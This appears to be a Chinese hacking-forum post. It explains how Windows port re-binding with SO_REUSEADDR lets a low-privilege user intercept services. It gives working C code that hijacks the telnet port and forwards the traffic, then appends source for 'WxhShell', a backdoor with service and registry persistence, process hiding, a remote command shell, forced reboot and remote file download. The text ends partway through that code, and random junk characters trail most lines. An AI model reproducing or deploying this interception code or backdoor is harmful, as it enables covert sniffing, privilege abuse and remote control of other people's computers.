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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E!>l@ ki  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]h&?^L<.  
]jJ4\O`  
  saddr.sin_family = AF_INET; IRDD   
.rbKvd?-}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =~QC)y_  
hB*3Py27L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e-o$bf%  
!]WC~#|{B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4> [tjz.?k  
B.[5N;c  
  这意味着什么?意味着可以进行如下的攻击: ["?WVXCF8|  
< 'qtqUL\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kI$p~  
M7IQJFra  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DWJkN4}o  
/K#J63 ,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :!gzx n  
t~]oJ5%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %^8>=  
6I\mhw!pQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |=}v^o ZC  
<b;Oap3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vro5G')  
D D Crvl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F30jr6F\  
!HHbd |B_  
  #include ?{6[6T  
  #include Z$a4@W9o  
  #include z15QFVm  
  #include    O0<GFL$)&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZZl4|  
  int main() EC| b7  
  { Z})n%l8J]p  
  WORD wVersionRequested; \\~4$Ai[  
  DWORD ret; t]%! vXo  
  WSADATA wsaData; kOuQR$9s  
  BOOL val; ^l/$ 13=  
  SOCKADDR_IN saddr; ud.Bzg:/  
  SOCKADDR_IN scaddr; 3#T_(  
  int err; RJI*ZNb A  
  SOCKET s; 6hm6h7$F1  
  SOCKET sc; _A/ ]m4  
  int caddsize;  7QkAr  
  HANDLE mt; ,s1n! @9  
  DWORD tid;   ui6B  
  wVersionRequested = MAKEWORD( 2, 2 ); r\66]u[  
  err = WSAStartup( wVersionRequested, &wsaData ); ?|9$o/Q}  
  if ( err != 0 ) { /L"&'~  
  printf("error!WSAStartup failed!\n"); ;42D+q=s  
  return -1; ;w}5:3+  
  } KBFAV&  
  saddr.sin_family = AF_INET; DWH)<\?  
   Uyyw'Ni  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k||DcwO  
+#<"o#gZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RsDI7v  
  saddr.sin_port = htons(23); #8d$%F))  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p{Gg,.f!HM  
  { s2ys>2k  
  printf("error!socket failed!\n"); i(c'94M  
  return -1; DP_ bB(  
  } N6<23kYM  
  val = TRUE; xX.Ox  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mhw\i&*U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8Lpy`He  
  { bqg\V8h  
  printf("error!setsockopt failed!\n"); {#y HL  
  return -1; ]H|1q uT  
  } .*g;2.-qv&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;3_Q7;y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *H RxC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 thDE 1h  
~dwl7Qc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q$9`QY*6"p  
  { b\\?aR |  
  ret=GetLastError(); 0,;FiOp  
  printf("error!bind failed!\n"); ~ +$l9~`{  
  return -1; 6dmTv9e  
  } Z@8amT;Y  
  listen(s,2); /qL&)24  
  while(1) qQ6NxhQo  
  { 9aC>gye!  
  caddsize = sizeof(scaddr); HF\L`dJX?  
  //接受连接请求 tIC_/ 6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h OboM3_  
  if(sc!=INVALID_SOCKET) qwaw\vOA  
  { 4p~:(U[q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (<.1o_Q-LU  
  if(mt==NULL) +T^m  
  { :7!/FBd  
  printf("Thread Creat Failed!\n"); Ahq^dx#o  
  break; #PA"l` "  
  } 6CU8BDN  
  } 1.H"$D>TC  
  CloseHandle(mt);  Phgn|  
  } ]@ [=FK^  
  closesocket(s); }wkBa]  
  WSACleanup();  5>w>J  
  return 0; 1^zF/$%  
  }   D\V}Eo';6  
  DWORD WINAPI ClientThread(LPVOID lpParam) Krq^|DY  
  { .+B)@?  
  SOCKET ss = (SOCKET)lpParam; g%=\Wiit]  
  SOCKET sc; j4}aK2[<  
  unsigned char buf[4096]; t7A.b~#  
  SOCKADDR_IN saddr; I"JT3[*s  
  long num; ESASsRzk  
  DWORD val; $@&bK2@.(  
  DWORD ret; }}(~'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \^-3)*r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?\#4`9  
  saddr.sin_family = AF_INET; 4'rk3nT8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y!*,G]7  
  saddr.sin_port = htons(23); xG}eiUbM`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?0;b}Xl-  
  { ohM'Fx"q  
  printf("error!socket failed!\n"); ;. :UfW  
  return -1; @,aL'2G  
  } $~~=SOd0  
  val = 100; 3.d=1|E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d=4MqX r  
  { d$2{_6  
  ret = GetLastError(); "| Q&  
  return -1; ;LrKXp  
  } kkOYC?zE?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dadMwe_l0  
  { w pCS]2  
  ret = GetLastError(); (x$k\H  
  return -1; ?I@3`?'  
  } wc,y+C#V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) In;z\"NN4  
  { uN\9c Q  
  printf("error!socket connect failed!\n"); H*\ }W  
  closesocket(sc); iGU N$  
  closesocket(ss); ?<LG(WY  
  return -1; n'h )(^  
  } w\2[dd  
  while(1) r 2H'r ,N  
  { rP\ 7C+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  +NXj/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f@/qW!o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X"1<G3m4  
  num = recv(ss,buf,4096,0); eO9nn9lql  
  if(num>0) l9L;Tjj  
  send(sc,buf,num,0); 1VZ>*Tl  
  else if(num==0) <?J7Z|  
  break; +`4}bc ,G  
  num = recv(sc,buf,4096,0); .N+xpxdG,  
  if(num>0) Sl_zO?/PF  
  send(ss,buf,num,0); B]qh22Yib  
  else if(num==0) YJ6vyG>%C  
  break; ' R@<4Ib|  
  } */+s^{W7  
  closesocket(ss); Y3zO7*-@  
  closesocket(sc); ;_SS3q  
  return 0 ; 1Ev+':%  
  } IIR?@/q  
2b"5/$|6  
P< &/$x6  
========================================================== 1aDDl-8,  
d!LV@</  
下边附上一个代码,,WXhSHELL <V8i>LBlz  
}mGD`5[`  
========================================================== aKUr":z  
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#include "stdafx.h" ^+wzm2i  
y;>I'e  
#include <stdio.h>  !fV6KkV  
#include <string.h> ^ /BE=$E\  
#include <windows.h> [:=[QlvV  
#include <winsock2.h> 0l6djN  
#include <winsvc.h> z0UO<Y?9  
#include <urlmon.h> vp|=q;Q%r  
c]n03o  
#pragma comment (lib, "Ws2_32.lib") W|Tew-H{h_  
#pragma comment (lib, "urlmon.lib") #~f+F0#%?  
2Ee1mbZVw8  
#define MAX_USER   100 // 最大客户端连接数 @/u`7FO$&  
#define BUF_SOCK   200 // sock buffer +UsR  
#define KEY_BUFF   255 // 输入 buffer te''sydUS  
a?MtY EK2  
#define REBOOT     0   // 重启 2&d&$Jg  
#define SHUTDOWN   1   // 关机 W.R'2R#  
Rp|&1nS  
#define DEF_PORT   5000 // 监听端口 U;xWW9  
@iceMD.  
#define REG_LEN     16   // 注册表键长度 3d<HIG^W}  
#define SVC_LEN     80   // NT服务名长度 H44&u](8{  
|G@)B!>  
// 从dll定义API 3,5wWT] )  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N9PM.nbd%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [-gKkOT8E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <khAc1"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UmE{>5Pt  
\|t0~sRwh  
// wxhshell配置信息 y~=hM   
struct WSCFG { i+Dgw  
  int ws_port;         // 监听端口 cs M|VNE>  
  char ws_passstr[REG_LEN]; // 口令 S}f<@-16P  
  int ws_autoins;       // 安装标记, 1=yes 0=no )89jP088V  
  char ws_regname[REG_LEN]; // 注册表键名 11T\2&Q  
  char ws_svcname[REG_LEN]; // 服务名 8'[wa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -8jqC6mQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \@3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &NQR*Tn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eM"mP&TTL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sN}@b8o@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t>sX.=\$  
Lp WEu^j  
}; L# 1vf  
ko>_@]Jb  
// default Wxhshell configuration _fCHj$I*]  
struct WSCFG wscfg={DEF_PORT, 6)$ N[FNs  
    "xuhuanlingzhe", 9tEKA|8  
    1, xi\RUAW  
    "Wxhshell", wIj2 IAD  
    "Wxhshell", E <SE Fn  
            "WxhShell Service", /xbZC{R  
    "Wrsky Windows CmdShell Service", I yN9 +  
    "Please Input Your Password: ", Y]K]]Ehp  
  1, CEq]B:[IC  
  "http://www.wrsky.com/wxhshell.exe", Kc\'s65.]  
  "Wxhshell.exe" {:X];A$  
    }; ]e~^YZOs  
TkoXzG8yE<  
// 消息定义模块 ;_a oM&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1@S6[&_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RT"2Us]*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2H+DT-hK  
char *msg_ws_ext="\n\rExit."; gVJ#LJ  
char *msg_ws_end="\n\rQuit."; `UK+[`E  
char *msg_ws_boot="\n\rReboot..."; Ux T[  
char *msg_ws_poff="\n\rShutdown..."; MEnHC'nI  
char *msg_ws_down="\n\rSave to "; Jwt I(>cI  
Q3q.*(#  
char *msg_ws_err="\n\rErr!"; faOWhIG  
char *msg_ws_ok="\n\rOK!"; AJd.K'=8  
-*fYR#VQQB  
char ExeFile[MAX_PATH]; l_-n&(N2<[  
int nUser = 0; N>Y50  
HANDLE handles[MAX_USER]; Z;'.pU~  
int OsIsNt; /j/%wT2m  
08?MS_  
SERVICE_STATUS       serviceStatus; SvP\JQ<c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k1U8wdoT  
J_E(^+  
// 函数声明 f}Tr$r  
int Install(void); KBq aI((  
int Uninstall(void); dd7nO :]  
int DownloadFile(char *sURL, SOCKET wsh); F'$S!K58  
int Boot(int flag); $jh>zf  
void HideProc(void); O)JUY *&I5  
int GetOsVer(void); EJ ~k Z3  
int Wxhshell(SOCKET wsl); Q9xx/tUW  
void TalkWithClient(void *cs); )$h9Y   
int CmdShell(SOCKET sock); XJ~l5} y ]  
int StartFromService(void); nSQ}yqM)  
int StartWxhshell(LPSTR lpCmdLine); sLi//P?:t  
O\Mq<;|7m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s8d}HI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?EQ^n3U$  
3@`H<tP'6o  
// 数据结构和表定义 :U.)YHY  
SERVICE_TABLE_ENTRY DispatchTable[] = u<shhb-  
{ [H%?jTQ  
{wscfg.ws_svcname, NTServiceMain}, LsQ8sFP_"  
{NULL, NULL} * m&: Yje  
}; `-EH0'w~"  
|ch^eb^7"  
// 自我安装 V<V\0n!0  
int Install(void) .!8X]trEg  
{ i;hc]fYb=K  
  char svExeFile[MAX_PATH]; niHL/\7u  
  HKEY key; jJ"EGFa8  
  strcpy(svExeFile,ExeFile); s P4 ,S(+e  
jc.JX_/  
// 如果是win9x系统,修改注册表设为自启动 zMYd|2bc  
if(!OsIsNt) { "I}Z2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l5Wa'~0qA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?5v5:U(A  
  RegCloseKey(key); {I-a;XBX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k gu[!hD1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nlebFDb7  
  RegCloseKey(key); (5q%0|RzRs  
  return 0; RYZE*lWUh  
    } ]( =wlq)  
  } qm}>J^hnB#  
} s >VEuLY*  
else { Sj{ia2AE_  
rt^45~  
// 如果是NT以上系统,安装为系统服务 {rvbo1t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N.{jM[\F  
if (schSCManager!=0) VHT@s7u0"  
{ /uE^H%9h  
  SC_HANDLE schService = CreateService yD"0=\  
  ( 2>}\XKF).  
  schSCManager, xOL)Pjo /m  
  wscfg.ws_svcname, 8q?;Hg  
  wscfg.ws_svcdisp, fQ36Hd?(5  
  SERVICE_ALL_ACCESS, <@e+-$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |[37:m  
  SERVICE_AUTO_START, p + l_MB  
  SERVICE_ERROR_NORMAL, C. Ja;RFq  
  svExeFile, O GFE*  
  NULL, ~` \9Q  
  NULL, xe6_RO%  
  NULL, %+xwk=%*  
  NULL, zzfn0g  
  NULL 80$0zbw$  
  ); &6t3SZV  
  if (schService!=0) a}Fk x  
  { uPFHlT  
  CloseServiceHandle(schService); pH\^1xj =  
  CloseServiceHandle(schSCManager); zd9]qo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); inBPT~y  
  strcat(svExeFile,wscfg.ws_svcname); 0Ox|^V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [t.%&#baF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )t,{YGY#  
  RegCloseKey(key); O5^J!(.O\Z  
  return 0; iTLW<wG  
    } {b,2;w}95  
  } NYjS  
  CloseServiceHandle(schSCManager); MKe^_uF  
} [{@zb-h  
} [X }@Ct6  
*vRI)>wU  
return 1; J`r,_)J"2  
} XD^ dlL  
_;e!ZZLG  
// 自我卸载 fQQsb 5=i  
int Uninstall(void) "X5_-l  
{ 6)wy^a|pb  
  HKEY key; i-k >U}[%  
|}M0,AS  
if(!OsIsNt) { If-,c^i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f]ue#O  
  RegDeleteValue(key,wscfg.ws_regname); _V& !4Zd9:  
  RegCloseKey(key); 7 DY WdDX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sOl>5:D6  
  RegDeleteValue(key,wscfg.ws_regname); oSn! "<x  
  RegCloseKey(key); Q sg/ V]  
  return 0; 5 o#<`_=J  
  } {Z#e{~m#  
} >I4p9y(u  
} ^XBzZ!h|  
else { 4bi NGl~  
zj>aaY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h`5YA89  
if (schSCManager!=0) J%\- 1  
{ AfRW=&xdT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X&(<G  
  if (schService!=0) N-2([v  
  { FjZc#\^9  
  if(DeleteService(schService)!=0) { E.J 0fwyT  
  CloseServiceHandle(schService); z.3<{-n}0i  
  CloseServiceHandle(schSCManager); ;8ET!&k*>E  
  return 0; ?< cM^$lI>  
  } @~k5+Z  
  CloseServiceHandle(schService); 6 Wpxp\  
  } WR/o @$/  
  CloseServiceHandle(schSCManager); T- |9o|~z  
} gB>imr#e&  
} sno`=+|U]  
~)q g  
return 1; \ ]   
} 4M}|/?<Br  
+VCo$o  
// 从指定url下载文件 r{\BbUnf)  
int DownloadFile(char *sURL, SOCKET wsh) uf)W-Er6~  
{ J7BFk ?=  
  HRESULT hr; ryxYcEM0  
char seps[]= "/"; +T0op4  
char *token; O' +"d%2'  
char *file; Q2/MnM  
char myURL[MAX_PATH]; #:J: YMv  
char myFILE[MAX_PATH]; /!GKh5|  
*Jvxs R'a1  
strcpy(myURL,sURL); FR x6c  
  token=strtok(myURL,seps); ZFS7{:  
  while(token!=NULL)  nbI= r+  
  { AGOx@;w  
    file=token; I-b_h5ZD6  
  token=strtok(NULL,seps); d2rL 8jW  
  } \q~w<%9Dq  
-2F@~m|  
GetCurrentDirectory(MAX_PATH,myFILE); hv* >%p  
strcat(myFILE, "\\"); g(aZT#ii=  
strcat(myFILE, file); 4YszVT-MU~  
  send(wsh,myFILE,strlen(myFILE),0); EgTFwEj  
send(wsh,"...",3,0);  ep+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (1CJw:  
  if(hr==S_OK) ?Z q_9T7  
return 0; w *50ZS;N  
else i S%  
return 1; OJAx:&]3  
<lMg\T?K  
} *>jjMyn  
LA-_3UJx  
// 系统电源模块 B?LXI3sQZ  
int Boot(int flag) 25:Z;J>  
{ x# VyQ[ok  
  HANDLE hToken; k$h [8l( <  
  TOKEN_PRIVILEGES tkp; zJ9v%.e  
dUS  ZNY  
  if(OsIsNt) { )QmGsU}?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h#i\iK&A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C+w__gO&r  
    tkp.PrivilegeCount = 1; Z@3l%p6V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '>@4(=I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LP:nba :  
if(flag==REBOOT) { $5,~JYcb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !tEe\K\e  
  return 0; 9)+@0fG)  
} -G9|n#zCU  
else { G.g|jP'n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iq?l#}]  
  return 0; _\.{6""  
} k#O,j pbB  
  } mwh{"FL(  
  else { oid[syPB  
if(flag==REBOOT) { $;2)s} ci  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o(*F])d;  
  return 0; "O*x' XhN  
} |; $Bb866/  
else { fN-Gk(Ic  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c<wavvfUo  
  return 0; n@!wp/J,  
} f1mHN7hxW  
} !VwmPAMr#v  
y4@gGC=  
return 1; Yi(1^'Bi  
} brh=NAzt  
u$%A#L[  
// win9x进程隐藏模块 kneuV8+(5  
void HideProc(void) q$[n`w-  
{ ebC)H  
KOey8tB)1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %-+j  
  if ( hKernel != NULL ) !:WW  
  { [4*1}}gW%5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BOvF)4`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y ,E.SB  
    FreeLibrary(hKernel); s)zJT  
  } }`xdWY  
dAc ?O-~  
return; h >-'-Hx+  
} |;+qld[4z  
a?F!,=F  
// 获取操作系统版本 PU1,DU  
int GetOsVer(void) h[kU<mU"T  
{ x5}lgyt  
  OSVERSIONINFO winfo; )I`if(fG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rn8cdM N  
  GetVersionEx(&winfo); xzsdG?P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IA4N@ijRxh  
  return 1; .2W"w)$nuq  
  else mT @ nn,  
  return 0; n[,XU|2  
} |a-fE]{7  
6)qp*P$L  
// 客户端句柄模块 rh!;|xB|+  
int Wxhshell(SOCKET wsl) 7" 4z+w  
{ -)v@jlg02  
  SOCKET wsh; d(-EcY>?  
  struct sockaddr_in client; \OQkZ.cU;  
  DWORD myID; Apj;  
H4:&%"j7  
  while(nUser<MAX_USER) s$w;q\1z  
{ LlHa5]E@6  
  int nSize=sizeof(client); edipA P~!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kJ{+M]pW  
  if(wsh==INVALID_SOCKET) return 1; %Jp|z? [/  
vDFGd-S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;f1qLI  
if(handles[nUser]==0) xb:&(6\F  
  closesocket(wsh); os4{0Mxu  
else u5B:^.:p  
  nUser++; dtZE67KS  
  } D`[Khsf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d$t40+v  
DY\J[l<<  
  return 0; (UL4+ta  
} t~``md4  
3Fs5RC~a  
// 关闭 socket &c>?~-!W  
void CloseIt(SOCKET wsh) / 3!fA=+  
{ tyh@ ^7  
closesocket(wsh); %eg+F  
nUser--; H,QTYXi "  
ExitThread(0); y7/F _{  
} j$Ab>}g]  
E{E0Z9t7&  
// 客户端请求句柄 t)f-mQz)  
void TalkWithClient(void *cs) S<`I Jpkv  
{ e}hmS1>H  
'n;OB4  
  SOCKET wsh=(SOCKET)cs; )G~w[~  
  char pwd[SVC_LEN]; V5i*O3a~   
  char cmd[KEY_BUFF]; 1yQejw  
char chr[1]; =LkR!R=  
int i,j; 'Gl&Pa1g?  
k D5!}+y  
  while (nUser < MAX_USER) { |'d>JT:  
I_1e?\  
if(wscfg.ws_passstr) { I%j_"r9-I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PPkx4S_>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =K\r-'V  
  //ZeroMemory(pwd,KEY_BUFF); g[H',)A)  
      i=0; nKoiG*PI  
  while(i<SVC_LEN) { |~!U4D\  
t]aea*B  
  // 设置超时 qIIJ4n  
  fd_set FdRead; 8CbXMT  
  struct timeval TimeOut; H+E$:)gN  
  FD_ZERO(&FdRead); n_?tN\M  
  FD_SET(wsh,&FdRead); c(#;_Ve2P  
  TimeOut.tv_sec=8; |`TgX@,#9  
  TimeOut.tv_usec=0; En{`@JsM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1r Ky@9   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M_g ?<rK  
@$9'@")  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F$BbYf2i  
  pwd=chr[0]; V#REjsf,t-  
  if(chr[0]==0xd || chr[0]==0xa) { #@HF<'H}mu  
  pwd=0; 9KWuN:Sg  
  break; ~6YMD  
  } -m *Sq  
  i++; Lk\P7w{  
    } d.UQW yLG  
_g%TSumvq<  
  // 如果是非法用户,关闭 socket B"yFS7Rrj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )R`xR,H  
} [AMAa]^  
eET&pP3Rp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AIMSX]m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R^?/' dr  
2c6g>?  
while(1) { #Cpd9|  
@+3kb.P%7  
  ZeroMemory(cmd,KEY_BUFF); .p0Clr!  
HY)-/  
      // 自动支持客户端 telnet标准   Q></`QWpoB  
  j=0; L:XC  
  while(j<KEY_BUFF) { X+UJzR90  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *na?n2Yzt  
  cmd[j]=chr[0]; A,sr[Pa@  
  if(chr[0]==0xa || chr[0]==0xd) { V|(H|9  
  cmd[j]=0; 8J$|NYv_b  
  break; ~ab:/!Z  
  } T,aW8|  
  j++; $9Hcdbdm  
    } fhL,aCS=  
nt*Hc1I  
  // 下载文件 R2Zgx\VV'  
  if(strstr(cmd,"http://")) { MxT-1&XL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |$?bc3  
  if(DownloadFile(cmd,wsh)) _ODbY;M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,eTU/Q>{,&  
  else T5a*z}L5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h1'\:N`  
  } pe^u$YE  
  else { ns6(cJ^a  
xJ#d1[kzo  
    switch(cmd[0]) { ;4Y%PV z~D  
  D$t k<{)oB  
  // 帮助 ^#-nE7  
  case '?': { DI+fwXeg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qkiI/nH3  
    break; u\C lP#  
  } ` ,SiA-3*  
  // 安装 H\TI[JPAl  
  case 'i': { g$b<1:8  
    if(Install()) dCRyOid$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`^&9nR  
    else |JQQU! x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 293M\5:  
    break; o!)3?  
    } On?p 9^9  
  // 卸载 8- 2cRs  
  case 'r': { =Xo =Qcr  
    if(Uninstall()) :Nz9xD$S5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J+`VujWT  
    else |`.([2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HDF |{  
    break; l<A|d{"]  
    } #{?qNl8F*J  
  // 显示 wxhshell 所在路径 9I4K}R  
  case 'p': { rk #sy$  
    char svExeFile[MAX_PATH]; BocSwf;v.  
    strcpy(svExeFile,"\n\r"); )ubiB^g'm  
      strcat(svExeFile,ExeFile); gP;&e:/3  
        send(wsh,svExeFile,strlen(svExeFile),0); Q)IKOt;N]  
    break;  5~>z h  
    } ZzSz%z_sE  
  // 重启 8uWa=C)  
  case 'b': { 0tXS3+@n =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' ~8KSF*!p  
    if(Boot(REBOOT)) 0N $v"uX@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9b9$GyI  
    else { ME*LH r,  
    closesocket(wsh); >k (C  
    ExitThread(0); N<XNTf  
    } h2XfC. f  
    break; 7eAX*Kgt<_  
    } ev*k*0  
  // 关机 K~R`%r_  
  case 'd': { G|!on<l&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?.Ca|H<  
    if(Boot(SHUTDOWN)) s+<Yg$)  
